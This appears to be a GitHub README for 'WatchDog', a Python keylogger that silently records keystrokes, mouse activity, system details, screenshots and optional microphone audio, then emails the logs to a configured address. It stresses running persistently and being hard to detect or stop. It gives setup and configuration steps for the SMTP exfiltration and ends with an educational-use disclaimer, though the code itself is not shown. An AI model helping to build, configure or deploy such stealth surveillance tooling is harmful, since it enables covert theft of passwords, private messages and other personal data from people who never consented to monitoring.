arindal1 / watchdog-keylogger

A Python-based keylogger tool designed to silently capture keyboard input, mouse events, and system information.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool


WatchDog is a Python script that implements a basic keylogger which captures keyboard input, mouse events, system information, and takes periodic screenshots. The logged data is sent via email to a specified address at regular intervals. The script is designed to run persistently in the background, making it more resilient and harder to detect or stop through conventional means.

Features

  • Captures keyboard input (keystrokes) and special keys.
  • Records mouse movements, clicks, and scrolls.
  • Collects system information such as hostname, IP address, processor, system type, and machine type.
  • Takes screenshots of the desktop.
  • Records audio from the microphone (optional).
  • Sends logged data via email at regular intervals.

Installation

  1. Clone or download the WatchDog repository to your local machine.
  2. Install the required Python dependencies using pip:
pip install -r requirements.txt
  1. Use a Temp-Mail, and create an account on: mailtrap.io.
  2. Visit mailtrap.io dashboard and Go to: HOME and use an fake SMTP domain.
  3. Go to: Email Testing > Inbox
  4. Click on Show Credentials dropdown, and note your port, username, and password.
  5. Open watchdog.py in a code editor.
  6. Replace these following placeholders:
    image

Replace:

EMAIL_ADDRESS = "your_email@example.com"
EMAIL_PASSWORD = "your_email_password"
with smtplib.SMTP('smtp.example.com', 587) as server:

Usage

  1. Run the watchdog.py script using Python:
python watchdog.py
  1. The keylogger will start capturing keyboard input, mouse events, and system information silently.
  2. Logged data will be periodically sent via email to the specified address.

Inbox:
image

Received Mails:
image

[ start > "note" > enter > "the key logger is active right now" > enter > "and is recording everything" > enter > "this is the output" > enter > alt+tab ]

Configuration

Before using WatchDog, make sure to configure the following settings:

  • Email address: Replace "your_email@example.com" with your actual email address.
  • Email password: Replace "your_email_password" with your email password.
  • SMTP server: Replace 'smtp.example.com' with the SMTP server of your email provider.
  • SMTP port: Replace 587 with the port number used by your email provider.

Example:

image

Termination:

To terminate the script, open Task Manager and go to the Processes tab. Scroll through and search for running python processes. Select the python process, and terminate it using End Task.

images

Disclaimer

WatchDog is intended for educational and testing purposes only. It should not be used for any illegal or unethical activities. The developer of this project is not responsible for any misuse or damage caused by the use of this software. Always use keyloggers responsibly and ethically, respecting the privacy and security of others.

About

A Python-based keylogger tool designed to silently capture keyboard input, mouse events, and system information.

License:MIT License


Languages

Language:Python 82.1%Language:C++ 17.9%